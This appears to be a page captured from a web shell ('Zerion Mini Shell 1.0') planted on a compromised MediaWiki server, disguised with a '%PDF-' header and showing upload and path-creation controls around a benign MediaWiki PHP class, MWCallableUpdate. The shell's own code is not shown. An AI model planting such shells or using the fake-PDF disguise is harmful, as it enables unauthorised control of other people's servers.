%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/includes/deferred/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/includes/deferred/CallableUpdate.php

<?php

/**
 * Deferrable Update for closure/callback
 */
class MWCallableUpdate implements DeferrableUpdate {
	/** @var Closure|callable */
	private $callback;

	/**
	 * @param callable $callback
	 * @throws InvalidArgumentException
	 */
	public function __construct( $callback ) {
		if ( !is_callable( $callback ) ) {
			throw new InvalidArgumentException( 'Not a valid callback/closure!' );
		}
		$this->callback = $callback;
	}

	public function doUpdate() {
		call_user_func( $this->callback );
	}
}

Zerion Mini Shell 1.0